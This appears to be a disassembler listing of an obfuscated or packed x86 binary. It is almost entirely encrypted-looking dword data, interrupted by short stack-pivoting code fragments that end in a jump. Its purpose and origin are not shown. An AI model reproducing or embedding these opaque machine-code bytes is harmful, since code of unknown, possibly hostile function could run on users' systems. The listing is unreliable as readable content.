		dd 0F8501FF6h, 15858D89h, 72D8AF13h, 73F96B0Ch,	5E9632A2h
		dd 147ADBC3h, 0D3FC4F3Dh, 0F2EBE1F7h, 4CC83A98h, 2A1F7260h
		dd 0FC1566A6h, 8C70F668h, 4EA6572Eh, 61197733h,	6780982h
		dd 9D479A02h, 0EC61C5D7h, 7E37C01Eh, 4C000000h,	7468DE50h
		dd 38ACA416h, 7B77EF61h, 0E63910F4h, 48D5198Bh,	298FF5FCh
		dd 7967E052h, 3C3830A2h, 0C8B7EDA1h, 1177DD9Ch,	6B166E3Ah
		dd 0DAA7FFB7h, 2FD0343Ch, 864B5BDh, 19BA8800h, 289A71D7h
		dd 79EBC22Eh, 0C4360DF1h, 0B8875E42h, 50012160h, 0C32189F8h
		dd 87098243h, 79h, 6044CC9Ch, 0B01C1789h, 0E6456FC2h, 29CA2C4Dh
		dd 0EA42F4CBh, 138B7F97h, 13128472h, 0E6CD2A9h,	66FD5023h
		dd 308C3626h, 278D71F5h, 0EC4ABEB5h, 0EE89FB7Ah, 9CC8E53Ah
		dd 875EC42Ah, 0C8E535ECh, 11F57B9Ch, 554FC83Ah,	0AC12E9DDh
		dd 48A06F46h, 1D75E939h, 0A3F84664h, 1ABC0982h,	0CE000000h
		dd 5CB78DE0h, 0ABEFD2E7h, 0C8A35C10h, 0D78B269Ch, 0BF9CC8A2h
		dd 0CD2B9159h, 6448CCE2h, 0B1151B8Dh, 0CD200EDAh, 6FF1DCA1h
		dd 5EB6146Bh, 2057723h,	0C0269E92h, 74F062h, 0C90AB165h
		dd 0CD33999Ch, 55EB3E2Ch, 6EE74502h, 0E7260664h, 0A837D2C0h
		dd 4696E1D3h, 919709E0h, 0FF560AA5h, 0D83EA2B0h, 0E95FD172h
		dd 0FF1ED26Dh, 0A006A2B0h, 33C1634Dh, 0C62CFCF3h, 457985D8h
		dd 0BE11FB7Ah, 65C30DBAh, 372EA08Eh, 27F499D8h,	0AF1526F8h
		dd 4EFCB651h, 0AE06A2B0h, 0D9CD43D3h, 5A6198EBh, 68FF0BAFh
		dd 3A98FEE2h, 0D0212799h, 0FB63D52Dh, 0AD61FC0Fh, 9DA2B075h
		dd 946BD137h, 691DB8A6h, 0A7A2B076h, 0FE643BA3h, 72D036h
		dd 4DBF960Ah, 9D0FE6CAh, 5E12AD99h, 46A2B076h, 0F1A37AE0h
		dd 6B3AE899h, 0BA2C6E13h, 147A51BBh, 0DACE44B6h, 0C25D4B39h
		dd 0A2B0760Eh, 19E1C74Ch, 75DC902Bh, 66CCA2B0h,	76C4A200h
		dd 3A0F6A35h, 140h, 715BDA4Ch, 0EBD6349Ah, 69EC1F5Eh, 0E046AC83h
		dd 20E39FF2h, 0F905846Fh, 9B12AD9Bh, 6596E096h,	0B68D71F3h
		dd 13C76250h, 3A2B097h,	5773F9Dh, 62399F03h, 8CFE7AF0h
		dd 0D1852084h, 2EA2B096h, 85FEF772h, 8AF0B899h,	0A7958324h
		dd 0B0FB580Ch, 7CDA40A2h, 0C9A0040Ah, 16EDD157h, 8492EF47h
		dd 0A3190E8Eh, 70BE9C3Dh, 340F6ABAh, 49h, 0FC1B5E49h, 30949C0Eh
		dd 8549E4D2h, 0D59CC837h, 49FD986Fh, 999CC838h,	25684041h
		dd 0B97D1806h, 0BB9CC837h, 0F794E968h, 6BC918D4h, 0C63A31A3h
		dd 5FD1BF60h, 8266ECE4h, 7F2451Ch, 0CD0C917Ch, 0B96DCB31h
		dd 88h,	0F81F5ECEh, 0E6486F0Ah,	44B696E0h, 0A077DDC3h
		dd 23C4382Eh, 7047BBB1h, 0B06818D5h, 0E59CF4A2h, 0DDC143B5h
		dd 0D042A006h, 0E5C5665Ah, 0F6917FA6h, 9CC21EB6h, 2F8270D6h
		dd 0F02008D0h, 0D8AF0D4Dh, 307997EAh, 0DEDFD589h, 0B10F7567h
		dd 0E7D5C93Fh, 0ACAA5EF9h, 349A9CCFh, 0DB33FFD6h, 0AFC302A6h
		dd 2A00650h, 0EBD93F49h, 1F878BFDh, 0E984E248h,	96E0F0A9h
		dd 429583E9h, 6B0A8D4Eh, 7D7CB52Ch, 0FEC483BCh,	0AE993A98h
		dd 0AF81F5Eh, 0D9ED2F6Fh, 22F95F96h, 0A546BAB0h, 0F2C93D33h
		dd 66E59F57h, 0C3B19F86h, 828E7428h, 0FE1164AEh, 7F2436E9h
		dd 3D95F359h, 685CD244h, 0FEDF55C7h, 8DB4539Ch,	0E6A5F8FDh
		dd 597A764Eh, 311F0D73h, 832AE296h, 0E6CD2AEh, 5343C537h
		dd 7569E1D1h, 0CDBBA90Fh, 832B7E32h, 0F1A540AEh, 0D9AE832Ah
		dd 0D345AB73h, 2E946B53h, 0D52DF9D0h, 0F87CEEACh, 0CE44B614h
		dd 0D94B39DAh, 0A113715Dh, 0D3242BABh, 0AADCA89Ch, 1B81E7B6h
		dd 39044h, 7AA50000h, 5F45CC8Fh, 0AC101688h, 0FCE063D5h
		dd 48BCB325h, 930BFF71h, 0DEC64ABCh, 2F939507h,	7E6EE658h
		dd 0CC3035A7h, 0EC8173F5h, 4, 52240489h, 0C281E289h, 4
		dd 4EA81h, 14870000h, 1C895C24h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 55240C89h, 103F9CBDh, 0F1ED817Ah, 831D924Bh
		dd 0C14501C5h, 0C58107EDh, 5362EFAh, 545DEB89h,	81240C8Bh
		dd 4C4h, 8B85000h, 2D000000h, 2E8A5057h, 5705C801h, 892E8A50h
		dd 0C8B5818h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 241C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
		dd 0FFF94DB6h, 5AAFC0Fh, 80F83E66h, 0EF304DB8h,	0FFC50305h
		dd 0D8046FE0h, 0BDB99F6Eh, 0E76ADC4Bh, 358BC608h, 6F915A76h
		dd 0AD2D568h, 2A9E0627h, 4520AB0Bh, 0F1ECB60Ch,	722EB57Dh
		dd 61665E35h, 8F6AF90Ah, 0A46CE83Bh, 34FD0C30h,	0DFB36E0Ch
		dd 4217D420h, 0C9FFCA14h, 49A7F03Ah, 47424B68h,	0C3AD9719h
		dd 5A53CD4Dh, 50E8E4Bh,	38153607h, 0EAD8C311h, 0AF6DCF5Ch
		dd 66B9FF26h, 9FCF1966h, 3CE40000h, 45C6575h, 3D04EB3Ch
		dd 0E9211B87h, 4DCh, 39DAC247h,	0BD5E4EC7h, 42E3CB4Bh
		dd 0C96A56D0h, 4AEBD357h, 161AD38Bh, 949B0DAEh,	1A1D8F30h
		dd 0ADA315B6h, 46349839h, 0B768F7ABh, 321DDFA2h, 7468DE50h
		dd 3AAEA416h, 8579F163h, 6D08F6E4h, 9CC837B9h, 6BDD3BA1h
		dd 0B82A01E5h, 0DBC142B2h, 5DB09E75h, 31C28AF2h, 7CEE4C7Bh
		dd 0CA3C13F9h, 17896044h, 9D8AF1Fh, 9A52D0B1h, 0E95B3F42h
		dd 0AD1F7D61h, 0B4A243A7h, 3DAC242h, 8FDF4A9Dh,	966B7989h
		dd 5F4DC638h, 34E88371h, 249CC90Dh, 0E64CB0B2h,	0F275E788h
		dd 4EC5370Eh, 5FB7835Ah, 8D73F422h, 10F47AECh, 5FD94B39h
		dd 0C4369C73h, 64FF5D43h, 9CC90CADh, 0C2E899F1h, 982CC74h
		dd 5338h, 62504D00h, 0EA857BF0h, 9CC83836h, 0E85AB81Eh
		dd 0CA77E62h, 9CC83852h, 67433E96h, 981F719h, 1DDh, 49CCF200h
		dd 1B1A8C63h, 0EE68DAB1h, 268C70F6h, 423F974Fh,	0CA6B51D4h
		dd 4DEED258h, 93140C5Fh, 69BC2025h, 934916Ch, 8C238781h
		dd 0AD98F65Ch, 896044CCh, 0D7AE1E17h, 45D1B008h, 4A38D9CDh
		dd 99705CD8h, 0ED63D533h, 0B4B022F9h, 68C07148h, 0F1339119h
		dd 48F70981h, 9000000h,	8BB105B6h, 8CEAB3EDh, 6044CCA1h
		dd 0AF1F1789h, 0B9C820D8h, 50F1D55Dh, 9B726ADEh, 0ECC32F29h
		dd 0AFA4D3Bh, 9EA19633h, 5B267EDCh, 82DEF14Fh, 51B509h
		dd 0CCCA0000h, 17896044h, 27D9B01Ch, 0EC64B2CFh, 506C57F8h
		dd 947804FDh, 0C9644CB1h, 9CC8F015h, 0DB399F05h, 2900EC69h
		dd 0C8EFD78Eh, 0B1151D9Ch, 0FEE268DAh, 4920848Ch, 32F091E9h
		dd 8F1B66BEh, 982AF41h,	0A05h, 0DCC41700h, 1D257C24h, 50170260h
		dd 490C58FDh, 448ADDC1h, 0B1238154h, 85B49B5h, 0C0F89C1h
		dd 0FCD33181h, 1C14848Ah, 0F96B42A8h, 45B78E72h, 5608DFC3h
		dd 919383FEh
		dd 8AF0562Dh, 0FB1B66BEh, 12F2937Bh, 23BEACD3h,	96E1E594h
		dd 9305DC42h, 1688299Dh, 0E7D5AC10h, 41711094h,	888DBC7h
		dd 8C278573h, 0A2B042D2h, 150180D8h, 980AAB1Fh,	0E5572E92h
		dd 0B8FE8E6Fh, 0FE1A8732h, 9AF2C198h, 0B9392FE7h, 167C53BFh
		dd 0DA50C2B0h, 4BA90FE6h, 7A7ECCAAh, 49420F6Ah,	57000001h
		dd 0AF81F5Eh, 0E016F86Fh, 0DD786696h, 0A2B05829h, 6E45AB11h
		dd 0A49276FCh, 0A12C1151h, 0BF1D26A0h, 42A6AC1Eh, 8F73F96Bh
		dd 0E0CC46B8h, 419E9709h, 0EE7ADCDAh, 6A41A7F8h, 0B58C70F8h
		dd 3C459D4Fh, 3B2917E6h, 0B0BAECA0h, 1876DCA2h,	0EBD9C1C0h
		dd 0B0BA9C50h, 0C8268CA2h, 4BECD056h, 6A7A1F6Dh, 70E30Fh
		dd 7F50000h, 912C9095h,	0A2B0AEDDh, 9044DFCDh, 78A2B0AEh
		dd 634EAC12h, 726ADE50h, 0DDF13414h, 96D1F081h,	7765CB4Ch
		dd 4C009B89h, 3C9CC900h, 19DD78D6h, 419CC900h, 0B56904DBh
		dd 0FB9CC8FFh, 0CFBD9478h, 0C9008034h, 9002689Ch, 84532A96h
		dd 6DCD552Ch, 0F93C6C15h, 0F75D4FC6h, 2D919709h, 0A492F056h
		dd 0C9004509h, 0EAF159Ch, 735Ah, 0DE506F00h, 335E856Ah
		dd 31380C7Eh, 308EF4CBh, 0FCEA1150h, 0E17A3A61h, 8B62C896h
		dd 0EAF1319h, 5B32969Ch, 0B0DC03C0h, 0D1C149A2h, 2D936A56h
		dd 857EF0C7h, 399F070Bh, 433E9662h, 0CD3F2DDFh,	258B6246h
		dd 4126FC7h, 19F99A0Eh,	72C5B3DAh, 9E09D98Fh, 6755B32Ch
		dd 0C27EA2CCh, 350C729Ch, 82594DC3h, 85235EB6h,	96311F46h
		dd 96E18F6Ch, 0AE993AA0h, 0AF81F5Eh, 0D9E6456Fh, 7C53B996h
		dd 0FFA0040Ah, 1117878Dh, 0A70D6ADh, 96F99833h,	0D129F7C6h
		dd 61FCEAB0h, 0BDE3B7ADh, 0B2897DF3h, 0CB1E844Ch, 2C8F14C3h
		dd 81F35104h, 476178Bh,	623AD0Eh, 8E26D173h, 0F1635128h
		dd 0B628867Ah, 0AD7950BCh, 48E3D1BFh, 0BDE35894h, 0CF831E84h
		dd 0DBDE358h, 73D9A105h, 52C4BD15h, 0A7FAE8DCh,	651C6FF4h
		dd 0A142A095h, 0EEC5392Fh, 33Ah, 8F7A4F00h, 885F45CCh
		dd 0D5AC1016h, 25FCE063h, 7148BCB3h, 0BC930BFFh, 7DEC64Ah
		dd 582F9395h, 0A77E6EE6h, 0F5CC3035h, 3FBF6873h, 34890000h
		dd 0E0895024h, 405h, 42D00h, 4870000h, 1C895C24h, 6B7A6824h
		dd 14890000h, 0BD555224h, 6B0601BBh, 8104E5C1h,	2F0408F5h
		dd 5EDC166h, 7FC5814Dh,	89FF3CB8h, 0D3895DEAh, 4EC815Ah
		dd 89000000h, 4832424h,	515A0424h, 7CD2BB53h, 36B93345h
		dd 1CCBA83h, 0D1015BD9h, 8B591989h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		dw 0FCDh
		dd 0EF35C4B8h, 0FFC50305h, 0F5CA37E0h, 34255B3Ch, 0EE5C3654h
		dd 0A4D5672h, 104C371Ah, 106B155Ch, 37FFA77Bh, 0B6EF213Fh
		dd 20B74B24h, 81ECD644h, 0EBFA011Fh, 342CB048h,	0EB185137h
		dd 0F945C97Eh, 1F6A9E15h, 0D68FDC75h, 0F6DA9771h, 0DABA2405h
		dd 2524016Ch, 1B6AF659h, 7581DA64h, 9DD35441h, 64813466h
		dd 73FFAA0Ch, 3DDA2D0Ch, 448D8D10h, 8B05EF37h, 0E8282D85h
		dd 9D8D8905h, 6A05E815h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 360FC357h, 7CFC6952h
		dd 585C7D6h, 0D005E807h, 6000006Eh, 1B759589h, 816605E8h
		dd 61B468EAh, 0A6185C7h, 5E8h, 8D890000h, 5E829F9h, 16B1B5FFh
		dd 950905E8h, 5E81475h,	6880Fh,	85890000h, 5E80B09h, 81595FFh
		dd 6A05E8h, 20F995FFh, 0C08B05E8h, 0B8D959EBh, 0BC67F2BAh
		dd 0E5D9117Bh, 374A9339h, 19D413D9h, 0FE0BD3Fh,	45D9318Ch
		dd 3E87D03Bh, 9120E2Fh,	0C00C5A17h, 276A3E48h, 0B814371Fh
		dd 0FE0CD82Fh, 0EFA4240Ch, 7980345Ah, 796A9079h, 77BAD763h
		dd 0B2D9A4AEh, 9D6F14BCh, 2D43DB63h, 0AAF77F64h, 7788670Eh
		dd 0EB40D4ECh, 0FF3AEF04h, 51FE963h, 0F0790000h, 7CF96B0Ch
		dd 0F97DEF90h, 27415h, 8189FB9Ch, 0E1BD7C1Dh, 3FE0C44Ch
		dd 0C16246CDh, 47E8D44Fh, 0CA6B5FD5h, 29DD7866h, 11A2B76Fh
		dd 0D873614Fh, 0A2B76F24h, 6550AE14h, 8B6246CCh, 0CAD1119h
		dd 45ABAC1Eh, 38AA086Eh, 85F7CE32h, 0BB2D1B8Fh,	137950B4h
		dd 0E96CDEB5h, 0A3A31503h, 4E06DD3Bh, 858B8BF6h, 150E8021h
		dd 939406A7h, 50B62A21h, 9C000779h, 0B80BF9C5h,	0ED46EDBEh
		dd 0C97D183Bh, 0B19CC84Dh, 2F87E54Bh, 5D43C452h, 8777FD6Fh
		dd 59B71D81h, 0DCC046B8h, 0AEA51705h, 8A41DC3Ah, 0CC9CC84Dh
		dd 4F9D0D74h, 1309820Dh, 7Ah, 4BB3B325h, 46CC02EDh, 0AF9D8B62h
		dd 0D73B3Dh, 384BFF9Ah,	0D53B9CC8h, 9DFBE363h, 0C8384802h
		dd 4938909Ch, 81F71361h, 0BD709h, 77E90000h, 0D2380FFFh
		dd 98F6EA60h, 68DE50ADh, 0C5379D74h, 22885F43h,	0E9D352C4h
		dd 37A5A012h, 8874EE60h, 0D7C73FB1h, 23998E00h,	453C944Ch
		dd 0B4CD25DDh, 58F9E362h, 8E7C60E6h, 385105A0h,	0E6399CC8h
		dd 90CE34C2h, 49A70D8Fh, 44CCBDA8h, 1E178960h, 37D2C0AEh
		dd 9CC83883h, 0D8AF0D73h, 0CAD0B109h, 378D41DCh, 177D9CC8h
		dd 683FA3A5h, 3E32A402h, 907DC0D9h, 0C4DB4395h,	4AA9441h
		dd 0BFF71D7h, 0F056BC93h, 8657DD4Fh, 7918EA88h,	370E7430h
		dd 3AD541C5h, 9CC8E486h, 0CBA2086Eh, 0EBBFC21Ah, 9829D8Dh
		dd 7C51h, 44CC6600h, 1F178960h,	38D3C1AFh, 9CC83884h, 0D9B00E74h
		dd 2A01ED67h, 0E052BEB8h, 0E8A07765h, 7931F190h, 0B2B66021h
		dd 3337A94Ah, 8082F4CBh, 0CFA61A10h, 0EF08A17Ch, 58BE53C1h
		dd 126A1BF2h, 0FADD3B6Fh, 49A10981h, 0B6000000h, 896044CCh
		dd 0D9B01C17h, 2A01ED67h, 774EB2B8h, 0E146DC5h,	1D7D045Ch
		dd 6B42AAABh, 3D35A705h, 34CFBBBDh, 9CC83880h, 2A9C0268h
		dd 0B758BE26h, 6349CCCCh, 383AF18Ch, 247C9CC8h,	0F6FF4D5Dh
		dd 1C30981h, 0D8000000h, 726ADE50h, 3AA2A214h, 715BDA4Ch
		dd 0FFD6349Ah, 3523878Dh, 0F9574FC3h, 47B5B022h, 920AFE70h
		dd 0EA97EFBBh, 6D146C38h, 8568DA2Dh, 182B338h, 7FB77D9Fh
		dd 0EC4AB001h, 2412FA7Ah, 299669D1h, 0C741A730h, 389E04DBh
		dd 0F84B39DAh, 76BC99F4h, 7555B38Ch, 86210F36h,	96E121F7h
		dd 21AE5EB1h, 0E7519EE2h, 6D5BC189h, 0BA9175FBh, 7DEC248h
		dd 6DD3BA1h, 892A9E94h,	0D6AD1117h, 0B104813Bh,	4E338BA2h
		dd 7359DA4Ch, 4CADA315h, 1CC60D96h, 0DDCB3161h,	0A604E86Bh
		dd 299D9305h, 766AE052h, 978D09Fh, 2A3070Dh, 6AD2D624h
		dd 1349A0Fh, 5EAF0000h,	6F0AF81Fh, 96E016F8h, 0DF55CE40h
		dd 0B0579044h, 0AC1278A2h, 4920864Eh, 1ED26D5Bh, 6A2B058h
		dd 0C23A2EA0h, 887CF264h, 0BFF75E7h, 584CC234h,	275AB281h
		dd 978579EFh, 585A0EA9h, 0E44AA2B0h, 0B907E586h, 7D0F6A17h
		dd 67h,	0C8FD5092h, 7322D871h, 0DE21015Fh, 7236D1BFh, 229CC907h
		dd 964AE5BCh, 0D49CC906h, 0FAE66153h, 8057BD23h, 0CFA6160Eh
		dd 60C2BF17h, 0C1D9A800h, 0CE3DB4Fh, 256848A6h,	0EBC51806h
		dd 0AB95ABD5h, 0BA694F2h, 9CC84B47h, 379B9D0Fh,	0A694FA60h
		dd 0F207A653h, 5D4B4D52h, 0C8390EC2h, 3290F69Ch, 80DD91h
		dd 5EF20000h, 6F0AF81Fh, 96E0E648h, 8B7950B6h, 0B6586E38h
		dd 0B412B1DBh, 37D8CC42h, 5F53D749h, 0B71DF4E8h, 7468DF51h
		dd 3AAEA416h, 420BC863h, 1301A2B0h, 0F66E5EC0h,	0CE405D4Dh
		dd 298F6656h, 80E73CBh,	1DFD9E02h, 0DBC9B7DEh, 569E52EDh
		dd 2086A2B0h, 1327C2h, 51C39CC2h, 0AC12E9D5h, 6ED4383Ah
		dd 0BB2F2597h, 0C1C018E4h, 9381A8E7h, 0CB548540h, 1D7B98C2h
		dd 4480942Fh, 26896E1h,	1F5E7661h, 5B6F0AF8h, 0B96D9E0h
		dd 0C045B7A5h, 0B9A77EDCh, 4DBC347h, 58CE409Eh,	0E7D5C364h
		dd 0B76E984Ch, 0BBF5AA2h, 0FBA2B76Fh, 0F567CD95h, 0BB2D8B7Fh
		dd 0DF7A51B5h, 3C274721h, 22F48DE5h, 0A517B82Ch, 0DB4D3BAFh
		dd 32986F57h, 898BFDD4h, 2A824E25h, 0BA554357h,	0C76806h
		dd 0B82A88EEh, 3BAD4EB2h, 46FAD135h, 3,	0CC8F7A5Bh, 16885F45h
		dd 63D5AC10h, 0B325FCE0h, 0FF7148BCh, 4ABC930Bh, 9507DEC6h
		dd 0E6582F93h, 35A77E6Eh, 73F5CC30h, 153468h, 241C8900h
		dd 525F68h, 24148900h, 81E28952h, 4C2h,	4EA8100h, 87000000h
		dd 895C2414h, 0B850243Ch, 1C4932DAh, 4D3BD55h, 0E801E9A6h
		dd 58C2895Dh, 0C4568h, 24248900h, 4240481h, 5F000000h
		dd 24348152h, 32A91519h, 5508478Fh, 0A91519BDh,	86F3132h
		dd 243C8B5Dh, 5E08950h,	4, 405h, 24048700h, 2434FF5Ch
		dd 4C4835Ah, 0F941E1E9h, 641EDFFh, 1406B45Fh, 0A922CC39h
		dd 3C43B885h, 0C50305EFh, 3A5BE0FFh, 7B115C07h,	0F53907F5h
		dd 63275F93h, 6A242E05h, 34110775h, 804C6497h, 0F5680E7Ch
		dd 0C7B61004h, 0DF446B20h, 3FBA174Ah, 81A64493h, 0E78C6638h
		dd 633E2BBEh, 754637A8h, 4EB544Fh, 4F769C21h, 547E9h, 7B61E800h
		dd 0FFED68DAh, 8468EC5Eh, 0BF771E3h, 8C70F86Ah,	0BB702CEBh
		dd 3CAE4FB7h, 0BE30D137h, 44B65745h, 0D539DACEh, 74984CE7h
		dd 0BE80A2B7h, 0C76250D3h, 9CC83813h, 0C67A1503h, 0AE9CC837h
		dd 1284E248h, 5FD1A81Ch, 9305F3EBh, 0EA50279Fh,	0F379EB8Ch
		dd 3838EC87h, 0BA209CC8h, 50B7D54h, 0D660B3A1h,	6C85BEEDh
		dd 11835AB8h, 5FD1A814h, 0AC1EF5E9h, 0A16D44A8h, 32EA3849h
		dd 0F96FA7DAh, 202EE27Dh, 0C3169CC9h, 31477F0Bh, 82E84EA1h
		dd 8F46FE1h, 8E72F567h,	0EDCE45B7h, 0D65D0A0Dh,	25219368h
		dd 0B07C53B9h, 8539D4C2h, 0EA9CC90Bh, 1B89931Fh, 0A7038BEh
		dd 582F9D98h, 453C94F2h, 0C96A56D1h, 16EDD157h,	0C851C47Bh
		dd 0A618069Ch, 691DB8ACh, 519CC852h, 48AE85EBh,	0BBEF92EAh
		dd 982116Dh, 4431h, 46CC4600h, 2B9D8B62h, 0CB66C428h, 9CC83811h
		dd 2A800159h, 981F7DCh,	1A0h, 49CCB500h, 1B1A8C63h, 6239ADA5h
		dd 4DBF96FCh, 5810E7CBh, 90958100h, 0EACC2720h,	5FE77A12h
		dd 31D2389Eh, 0B45549BFh, 0C76250C9h, 9CC83813h, 0CD3F9D03h
		dd 0E9DD5545h
		dd 6F46AC12h, 0BD9478FDh, 8DFC74Bh, 532A9296h, 3816CA65h
		dd 98FE9CC8h, 29F988E0h, 977F025Ah, 9C8A2B93h, 0E9C0242Ah
		dd 0BDB32583h, 8E21FE5Ch, 157B9142h, 6448CC3Eh,	0FD84DC8Dh
		dd 81FC4FADh, 921309h, 37250000h, 1F1971E4h, 9C3708C6h
		dd 9CC86CE8h, 210C6AD0h, 7666DE50h, 69DB399Fh, 0B426FDE1h
		dd 3754CB0h, 50C2990Dh,	9D0FE6DAh, 0F95F369Ah, 6AACD52Dh
		dd 0E29A00E4h, 2B1FF78Ah, 0A8A012B3h, 69EB5D34h, 2E259785h
		dd 8F7DE3BAh, 0C83840F4h, 64C2289Ch, 0FD84DC8Dh, 0C4282B9Dh
		dd 4B2987EDh, 981F0EDh,	725ADA4Ch, 458B14h, 0CCA00000h
		dd 17896044h, 27D9B01Ch, 0EC64B2CFh, 166957F8h,	2274A52Ch
		dd 204672D5h, 4CB6EC3Fh, 845B43C7h, 6F5AB81Eh, 0D05749CCh
		dd 269886ECh, 855CBA22h, 0C83833EAh, 621F779Ch,	81F6FA48h
		dd 1BE09h, 0CCD30000h, 9F8D6448h, 41F4304Ch, 0BD84D7CBh
		dd 0F86AC86Fh, 1B818272h, 13DE922Dh, 60C69CC9h,	0B4B123FAh
		dd 7B702F5Bh, 0B41AC85Dh, 0F6EA6BDDh, 532A907Ch, 3CE69BF3h
		dd 0F9948270h, 9CC8BC45h, 1971CF35h, 46B6AE68h,	5F86C5A5h
		dd 6E47D671h, 0C12796E1h, 8B8AFCEAh, 96ECE21h, 1346EA22h
		dd 0D9CD43B5h, 3D4E98EBh, 88BF7896h, 9DF0C3DDh,	0B61426D7h
		dd 39ADA315h, 0EC25D4Bh, 4CA2B05Ah, 0AB1DE5CBh,	36940A4h
		dd 0CD683F9Dh, 0A2B05A13h, 1BF2DE59h, 6B42AEA9h, 0A2929305h
		dd 0B05A5307h, 77DD43A2h, 0F190E8A0h, 2A05244h,	48AEAD97h
		dd 57433E96h, 5F1ACE69h, 1C0AA2B0h, 0B05ECD81h,	0F157BDA2h
		dd 0CA2B2193h, 44DF04B1h, 32D339F2h, 7F564AC0h,	0CCA3070Dh
		dd 3ADCA5FDh, 512FD034h, 0F6A4103h, 0C1217462h,	35A91182h
		dd 0E9873BD6h, 96FA2B0h, 0EA22ABh, 50370000h, 157369DEh
		dd 0E1CFF635h, 0E016CF46h, 2D93F96h, 85269A90h,	51BC1D13h
		dd 0E745DFCDh, 0CFBD94FAh, 1FF6DA5Dh, 63E95BB9h, 81D9A87Fh
		dd 0AC101600h, 5ADF2D0Bh, 3CA30F6Ah, 0B8000000h, 0EFC1B5Eh
		dd 0C837AF73h, 0CB3FB19Ch, 4396FCD3h, 905B8C3Fh, 0A76FCD78h
		dd 1BCF6A41h, 739CC91Bh, 0AC101385h, 0B9116FD5h, 7E9DE0C8h
		dd 1B31F590h, 0F3599CC9h, 729E52h, 5EB30000h, 6F0AF81Fh
		dd 96E0E648h, 0F6250B6h, 64FFBD56h, 0A2B058B0h,	0A6DF3298h
		dd 0A279D768h, 0EDD93A30h, 0B2C1B580h, 0C537D83Eh, 7F6D5B4Fh
		dd 0CEA5090Dh, 0E219CD68h, 9B01A2B0h, 0E7BE2229h, 0B14C2381h
		dd 0A2B0E0F4h, 55C1C018h, 7468DFDFh, 30D1379Dh,	0FCEA1150h
		dd 0C2A4D861h, 6940A69Ch, 0B68D71F7h, 0B9EF92EAh, 0CA65537Ah
		dd 96E19241h, 230EAF15h, 7765DE50h, 0FCDC3AA0h,	0DA896BDh
		dd 96D9FB84h, 0D1D9D92Ch, 0D735BAE9h, 744BB179h, 0F7980C02h
		dd 2B939709h, 1E90EE54h, 0B8ACA828h, 0B7C9691Dh, 85EB51A2h
		dd 48BF311Fh, 841FF654h, 0D1A1EA81h, 0B7D6B59h,	66CCA30Bh
		dd 3E8717CBh, 3B99FFECh, 0F2789EE3h, 75FB6D0Eh,	0CE48BA91h
		dd 0E73F0BE2h, 12F67C9Ah, 9509FF71h, 0CB3F35A7h, 8E2966Dh
		dd 0F7000000h, 726ADE50h, 0CC655014h, 16885F45h, 63D5AC10h
		dd 0B325FCE0h, 0FF7148BCh, 4ABC930Bh, 9507DEC6h, 0E6582F93h
		dd 35A77E6Eh, 73F5CC30h, 755168h, 48F5400h, 24048324h
		dd 0E0895004h, 405h, 42D00h, 4870000h, 0C895C24h, 0E6895624h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 52240489h,	39549D68h
		dd 0EAC15A2Dh, 5DC28108h, 5567AF04h, 0F92CF8BDh, 0C7C58154h
		dd 813E1B5Dh, 675D4F5h,	5DEA010Dh, 545AD189h, 8324048Bh
		dd 0EC8104C4h, 4, 8F240C89h, 34FF0840h,	0C4815824h, 4
		dd 592434FFh, 4C481h, 47E90000h, 0ADFFF93Ch, 0D57D95BAh
		dd 0D3BD588Fh, 0EF41CFB8h, 0FFC50305h, 97E226E0h, 838D317h
		dd 0B073A176h, 0FDF5892Ch, 0FBE2D65Ah, 0A1CE741h, 61BF310Bh
		dd 0F40E225Bh, 0FC035C6Fh, 0A3844937h, 96E264h,	0FF65FA17h
		dd 32CB2C27h, 942A1722h, 0E9796703h, 0F1858B6Bh, 992ED46Ah
		dd 79E4D106h, 8604EB45h, 0E9096E1Ch, 4F1h, 7D1E868Bh, 1A20A0Bh
		dd 8627978Fh, 0DAE1214h, 8E2F979Bh, 0EA5E0FCFh,	68DF51F2h
		dd 0E661D374h, 61E759FAh, 8A78DC7Dh, 0B77A3BEFh, 7E692BA2h
		dd 13C76250h, 39CC838h,	47CD3F9Dh, 0F037563h, 0AAF9EAAh
		dd 53B9CE9Ch, 0E1B8167Ch, 1503FB6Fh, 6239ADA3h,	8BFD9EFCh
		dd 0E0332185h, 0FF36435Eh, 0F9D02EB9h, 461D8187h, 7DF86A58h
		dd 0B752B88Fh, 9CC86E03h, 3842A0F3h, 95096892h,	0E65FD12Fh
		dd 0F671FF6h, 3AAEA472h, 0C02C2799h, 46AAAD1Fh,	9276FD6Fh
		dd 0EA97EFBBh, 0BFB92B2Ch, 0B0167C53h, 9833210Fh, 9CC8EAE4h
		dd 0E5806ED4h, 9CC8EB31h, 0E355B319h, 0B4A2796Dh, 68DAC242h
		dd 9A402EEh, 9CC8EB52h,	65453C94h, 982AA17h, 9B010476h
		dd 77005EC4h, 54h, 6246CC8Ch, 3836F08Bh, 227A9CC8h, 4CC93B5Fh
		dd 38893DD8h, 0B719CC8h, 0A68CEA5h, 81F7DE2Ch, 1A209h
		dd 0CCB70000h, 1A8C6349h, 3CA0A51Bh, 0C299FF65h, 13EAD650h
		dd 987E035Bh, 1C8E2F9Dh, 2311B216h, 28AB68D0h, 6759A30Bh
		dd 41C91CEAh, 0B5A0FE81h, 7765DE50h, 3BA3A719h,	8973F264h
		dd 0D7C540B2h, 23998E00h, 453C944Ch, 0CBB60EDDh, 3EDFC74Bh
		dd 8B6246CCh, 0DAB11D19h, 0FAB0D129h, 981F19Ch,	8860h
		dd 44CC7500h, 38893DD8h, 0FF719CC8h, 0CD339905h, 897FF1DFh
		dd 37C67A15h, 48AE9CC8h, 0A5A113EAh, 0C25D4B39h, 9CC8380Eh
		dd 1A8E84F6h, 1977DD43h, 4F328A42h, 0BA5B43C7h,	5DCC048h
		dd 3F2D9193h, 3802B651h, 80F29CC8h, 0D73D1488h,	8B3C1371h
		dd 0FE5C4E33h, 0C20981F0h, 5Ch,	68DE50D7h, 379D51ECh, 278D9CC8h
